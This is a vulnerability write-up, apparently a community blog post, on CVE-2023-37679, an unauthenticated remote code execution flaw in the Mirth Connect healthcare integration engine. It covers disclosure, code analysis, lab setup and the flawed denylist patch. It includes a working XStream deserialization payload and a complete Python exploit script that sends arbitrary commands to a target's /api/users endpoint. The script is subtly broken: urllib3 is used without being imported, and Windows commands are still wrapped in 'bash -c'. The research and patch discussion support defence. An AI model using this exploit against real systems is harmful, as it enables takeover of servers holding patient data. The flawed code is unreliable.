RCE in Mirth Connect — pt. I. (CVE-2023–37679)

vsociety
12 min readJun 8, 2024

--

by@jakaba

Screenshots from the blog posts

PoC video

https://youtu.be/e75fsfdcbDE

Summary

Mirth Connect, developed by NextGen Healthcare, is an open-source data integration platform extensively utilized in the healthcare sector. It was found to be vulnerable to an unauthenticated remote code execution (RCE) vulnerability, identified as CVE-2023–37679, affecting versions before 4.4.0. This vulnerability could allow attackers to execute arbitrary code on the system without requiring authentication, posing a significant risk to healthcare data and operations.

Description

Introduction

CVE-2023–37679 targets Mirth Connect, a critical application for healthcare data integration, enabling the seamless exchange and management of healthcare information across various systems. The vulnerability’s discovery is particularly alarming due to the application’s widespread use and the sensitive nature of the data it handles. Mirth Connect’s role in healthcare IT makes it a potential target for ransomware and other cyberattacks, emphasizing the need for immediate remediation.

The vulnerability was initially reported by IHTeam and later addressed in Mirth Connect version 4.4.0. However, further investigation revealed that all installations of Mirth Connect, irrespective of the Java version used, were susceptible to this vulnerability, leading to the identification and reporting of a new vulnerability, CVE-2023–43208, which is fixed in version 4.4.1.

Impact

CVE-2023–37679 is an easily exploitable vulnerability that allows unauthenticated attackers to execute remote code on the affected system. This vulnerability could be used for initial access to healthcare systems or to compromise sensitive healthcare data.

On Windows systems, where Mirth Connect is commonly deployed, the application typically runs with SYSTEM user privileges, further increasing the risk of exploitation.

Considering that over 135,000 entries only for the management interface are listed on Shodan, the significance of this issue is substantial. (Additionally, the management interface shouldn’t be exposed on the Internet by the official recommendation.)

Timeline

The timeline for the disclosure of the vulnerability in Mirth Connect is as follows:

  • 21/06/2023: IHTeam privately contacted NextGen’s security team with all technical details of the vulnerability.
  • 26/06/2023: First response from NextGen.
  • 30/06/2023: Beta version of 4.4.0 was shared and tested, confirming the fix for the reported vulnerability.
  • 31/07/2023: Version 4.4.0 is publicly available on GitHub.
  • 02/08/2023: A blog post detailing the vulnerability and its resolution was published.

Static analysis

This section provides a static analysis of the background of the vulnerability tracked as CVE-2023–37679, focusing on the technical details and the source code involved, as described here.

The core of the vulnerability lies in the application’s handling of XML data through the XStream library. XStream is a popular library for converting Java objects to XML and vice versa. However, if not properly configured, XStream can be exploited to execute arbitrary code through crafted XML payloads that lead to the instantiation of arbitrary, potentially malicious, Java objects.

More specifically, the vulnerability arises from insecure deserialization, where untrusted XML data is deserialized into Java objects without adequate validation or sanitization. Deserialization in Java is the process of converting a byte stream into an object. Essentially, it’s the reverse operation of serialization, where an object’s state is converted into a byte stream for storage or transmission. Deserialization reconstructs the original object from the byte stream, allowing for the retrieval of the object’s data and state. This is particularly useful in scenarios like reading objects from a file, receiving objects over a network, or caching objects in memory. Deserialization vulnerabilities are common in applications that accept serialized objects from untrusted sources and can lead to various attacks, including RCE.

The patch for CVE-2023–37679

Despite the announcement that CVE-2023–37679 was fixed in the Mirth Connect 4.4.0 update, the documentation mentioned that the flaw was only relevant to versions of Mirth Connect that utilize Java 8.

Examining the code of the patch reveals that the XmlMessageBodyReader class, which acts as an interceptor, triggers the XStreamSerializer. This process transforms XML payloads into objects before these objects are handed over to Java servlet methods for processing HTTP requests.

// connect/server/src/com/mirth/connect/client/core/api/providers/XmlMessageBodyReader.java

@Provider
@Singleton
@Consumes(MediaType.APPLICATION_XML)
public class XmlMessageBodyReader implements MessageBodyReader<Object> {

@Override
public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
return true;
}

@Override
public Object readFrom(Class<Object> type, Type genericType, Annotation[] annotations, MediaType mediaType, MultivaluedMap<String, String> httpHeaders, InputStream entityStream) throws IOException, WebApplicationException {
// If the type is List, call deserializeList instead
if (type.equals(List.class) && genericType instanceof ParameterizedType) {
Type[] actualTypes = ((ParameterizedType) genericType).getActualTypeArguments();
if (ArrayUtils.isNotEmpty(actualTypes) && actualTypes[0] instanceof Class) {
return ObjectXMLSerializer.getInstance().deserializeList(IOUtils.toString(entityStream, "UTF-8"), (Class<?>) actualTypes[0]);
}
}
return ObjectXMLSerializer.getInstance().deserialize(IOUtils.toString(entityStream, "UTF-8"), type);
}
}

The MirthServlet base class serves as the foundation for all servlets within the Mirth Connect application. A servlet, in the context of a web server, is a Java program that extends the capabilities of servers hosting applications accessed by means of a request-response programming model. In the case of Mirth Connect, these servlets are pivotal for handling various types of requests, including those that involve the transmission of XML data.

One of the key responsibilities of the MirthServlet base class is to ensure that any request made to the servlet is authenticated before any further processing occurs. This is where the initLogin method comes into play. The initLogin method is tasked with conducting authentication checks to verify the identity of the user or entity making the request before any XML payloads are unmarshalled by the XmlMessageBodyReader.

// connect/server/src/com/mirth/connect/server/api/MirthServlet.java

public abstract class MirthServlet {

// ...

public MirthServlet(HttpServletRequest request, ... boolean initLogin, ...) {

// ...

if (initLogin) {
initLogin();
}
}

// ...

protected void initLogin() {
boolean validLogin = false;

if (isUserLoggedIn()) {
currentUserId = Integer.parseInt(request.getSession().getAttribute(SESSION_USER).toString());
setContext();
validLogin = true;
} else {
// Allow Basic auth
String authHeader = request.getHeader("Authorization");

if (StringUtils.startsWith(authHeader, "Basic ")) {
String username = null;
String password = null;
try {
authHeader = new String(Base64.decodeBase64(StringUtils.removeStartIgnoreCase(authHeader, "Basic ").trim()), "US-ASCII");
int colonIndex = StringUtils.indexOf(authHeader, ':');
if (colonIndex > 0) {
username = StringUtils.substring(authHeader, 0, colonIndex);
password = StringUtils.substring(authHeader, colonIndex + 1);
}
} catch (Exception e) {
}

if (username != null && password != null) {
if (StringUtils.equals(username, BYPASS_USERNAME)) {
// Only allow bypass credentials if the request originated locally
if (configurationController.isBypasswordEnabled() && isRequestLocal() && configurationController.checkBypassword(password)) {
context = ServerEventContext.SYSTEM_USER_EVENT_CONTEXT;
currentUserId = context.getUserId();
bypassUser = true;
validLogin = true;
}
} else {
try {

Nonetheless, in certain servlets, the authentication verification does not occur within the MirthServlet base class but is instead managed within the servlet itself. Specifically, the ConfigurationServlet, SystemServlet, and UserServlet, while inheriting from the MirthServlet base class, have the initLogin property set to false.

Consequently, this arrangement allows for certain API calls to process XML payloads via the XMLMessageBodyReader class without undergoing authentication checks in the servlet first.

General exploit

Researchers developed a general exploit for CVE-2023–37679 by addressing the failure of previous exploits across various Mirth Connect versions. They navigated through limitations posed by older versions of XStream and Java’s enhanced access control starting from Java 9. The solution involved using an alternative InvocationHandler called EventBindingInvocationHandler from a non-modularized library, enabling the payload to bypass these restrictions.

The XML payload was the following:

<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>{cmd}</string>
</command>
</target>
<methodName>start</methodName>
<eventTypes/>
</handler>
</dynamic-proxy>
</sorted-set>

This approach made the exploit effective against Mirth versions <= 4.3.0, regardless of the Java version.

The XML payload

The XML payload right above was originally revealed by @pwntester in 2013. The research discusses a remote code execution (RCE) vulnerability through object deserialization using the XStream library. The author initially explored XStream while investigating XXE vulnerabilities in SpringMVC RESTful APIs and discovered that XStream, unlike JAXB, could serialize complex types beyond POJOs due to its powerful converters.

A significant part of the article demonstrates exploiting XStream’s deserialization process by using a dynamic proxy. A dynamic proxy is a feature in Java that allows the creation of a proxy instance for interfaces at runtime. It can intercept method calls to these interfaces, enabling custom behavior (like executing arbitrary code) before, after, or instead of the method call.

The exploit involves creating an XML representation of a dynamic proxy where the InvocationHandler is serialized by XStream. This method allows for intercepting method calls on an interface and executing arbitrary code instead. The author provides a step-by-step guide on crafting an XML payload that, when deserialized by a vulnerable server, would execute a command (e.g., launching the calculator app) on the server's system. To increase the likelihood of successful exploitation, the author suggests serializing an object containing other objects that require interface method calls during instantiation. This approach leverages the deserialization process to inject malicious code.

This exploration into XStream’s deserialization vulnerabilities highlights the potential risks associated with deserializing untrusted input and underscores the importance of secure coding practices to prevent such exploits.

Reproducing the vulnerability

Lab setup

We will use JDK 17 for now.

Mirth Connect installers are available for all operating systems (Windows, Linux, Mac OS X) but now we will use our old friend Kali.

Download the prepackage release for Linux first:

# repo: https://github.com/nextgenhealthcare/connect/releases
wget https://s3.amazonaws.com/downloads.mirthcorp.com/connect/4.3.0.b2886/mirthconnect-4.3.0.b2886-unix.sh

You can see a warning on the GitHub release page:

After downloading, let’s run the installer.

chmod +x ./mirthconnect-4.3.0.b2886-unix.sh

./mirthconnect-4.3.0.b2886-unix.sh

The magical setup window starts immediately:

Hit Next a couple of times with the default settings.

Check the “Run the Mirth Connect Server Manager” when asked.

Another installation of the Mirth Connect Administration will start.

Since we are using Java 9+, the official README suggest the following:

In order to run Mirth Connect in Java 9 or greater, copy the options from docs/mcservice-java9+.vmoptions and append them to either mcserver.vmoptions or mcservice.vmoptions, depending on your deployment. Then restart Mirth Connect.

So before proceeding, let’s add the necessary JVM options:

cat /opt/mirthconnect/docs/mcservice-java9+.vmoptions >> /opt/mirthconnect/mcserver.vmoptions

Launch the Administrator when prompted:

The necessary stuff will be downloaded and then we get a login window. Use “admin” for both username and password.

If you get an error, just wait a minute and try again till the app boots up.

The password should be changed immediately for security purposes during initialization. After submitting some data and changing the password, the Mirth Connect Administration is running:

When you navigate to http://localhost:8080 you will see the following:

The version of Mirth Connect can be determined using a simple command-line request.

curl -k -H 'X-Requested-With: OpenAPI' https://localhost:8443/api/server/version

It shows the installed version 4.3.0:

Any server reporting a version less than 4.4.0 (or 4.4.1 as we will see in the 2nd part of this article) is likely to be vulnerable.

Exploiting

Based on the Metasploit module and Horizon3.ai-s article about the finding I created a multiplatform exploit script. You can find it in this repo and here:

import argparse
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
if platform.lower() == "win":
cmd = f"cmd.exe /c \"{command}\""
else:
cmd = f"{command}"

xml_payload = f"""
<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>{cmd}</string>
</command>
</target>
<methodName>start</methodName>
<eventTypes/>
</handler>
</dynamic-proxy>
</sorted-set>
"""
return xml_payload

def exploit(target_url, command, platform):
payload = generate_payload(command, platform)
headers = {
'Content-Type': 'application/xml',
'X-Requested-With': 'OpenAPI'
}
try:
response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
if response.status_code == 500:
print("The target appears to have executed the payload.")
else:
print("Failed to execute the payload.")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")

def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-37679.')
parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
parser.add_argument('-u', '--url', required=True, help='Target URL.')
parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')

args = parser.parse_args()

exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
main()

Save this file as exploit.py. To check whether the exploit works we will create a file at /tmp/proof. In a real-world scenario, the attacker and the host machine are different of course, but for demonstration purposes, we will use the same machine for both.

And it works. Yay!

Patch diffing

The patch for CVE-2023–37679 in Mirth Connect version 4.4.0 was aimed at addressing a pre-authenticated remote code execution (RCE) vulnerability. This patch involved implementing a denylist within the XStreamSerializer class to block the unmarshalling (conversion of XML data to Java objects) of certain unsafe data types that could potentially be exploited for remote code execution.

The decision to use a denylist was based on preventing known dangerous classes from being processed by the XStream library, which is used for XML data handling.

However, this approach proved to be insufficient for a couple of reasons:

  1. Denylist ineffectiveness: The use of a denylist to secure the application against RCE vulnerabilities is notoriously challenging. This is because it requires the developers to anticipate and block all possible malicious classes that could be used in an attack, a nearly impossible task given the vast number of classes and the complexity of Java environments. New vulnerabilities and exploitation techniques can emerge, bypassing the denylist.
  2. Bypassing the patch: The patch for CVE-2023–37679 could be bypassed, indicating that the underlying issue was not fully resolved. The researchers at Horizon3.ai discovered that the vulnerability was not adequately patched and decided to investigate further. They found that the patch’s reliance on a denylist did not account for all possible exploit scenarios, especially those involving third-party libraries not covered by the denylist. We will introduce this in the next article.

In part II of this article, we will see why the patch was not a solution.

The initial patch’s inadequacy highlights the challenges in securing complex software applications and the importance of adopting comprehensive security measures that consider various attack vectors and exploitation techniques. Anyway, the primary recommendation for mitigating this vulnerability is to update Mirth Connect to version 4.4.1 or later. This update addresses the vulnerability and is essential for securing Mirth Connect installations, especially those exposed to the internet. Prompt updating is advised to protect against potential exploits targeting this vulnerability.

Final thoughts

Wrapping up, the story of these vulnerabilities in Mirth Connect is a real eye-opener about the tough job of keeping software safe from attacks that try to slip in dangerous code. Moving from a denylist, which tries to block known dangers, to an allowlist, which only lets in stuff that’s known to be safe, marks a big step forward in making things more secure.

The static analysis highlighted the complexity of securing applications against deserialization vulnerabilities, especially when relying on denylists. It also emphasized the importance of adopting secure coding practices, such as using allowlists that explicitly define which classes are safe to deserialize, to mitigate such vulnerabilities effectively.

It’s a reminder that keeping software safe is a never-ending task that needs smart thinking and quick action, especially when it comes to protecting important health information. By learning from these incidents and working together, we can get better at stopping these threats and keep our digital world a bit safer.

Resources

  1. https://www.horizon3.ai/attack-research/attack-blogs/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/
  2. https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
  3. https://www.ihteam.net/advisory/mirth-connect/
  4. https://www.shodan.io
  5. https://www.healthcareitnews.com/news/nextgen-interoperability-tool-vulnerable-rce-attack
  6. https://www.nextgen.com/solutions/interoperability/mirth-integration-engine
  7. https://x-stream.github.io/
  8. https://nvd.nist.gov/vuln/detail/CVE-2023-37679
  9. https://github.com/rapid7/metasploit-framework/pull/18755
  10. https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
  11. https://github.com/nextgenhealthcare/connect/wiki/Clone-Build-and-Run-from-Source

--

--

vsociety
vsociety

Written by vsociety

vsociety is a community centered around vulnerability research

No responses yet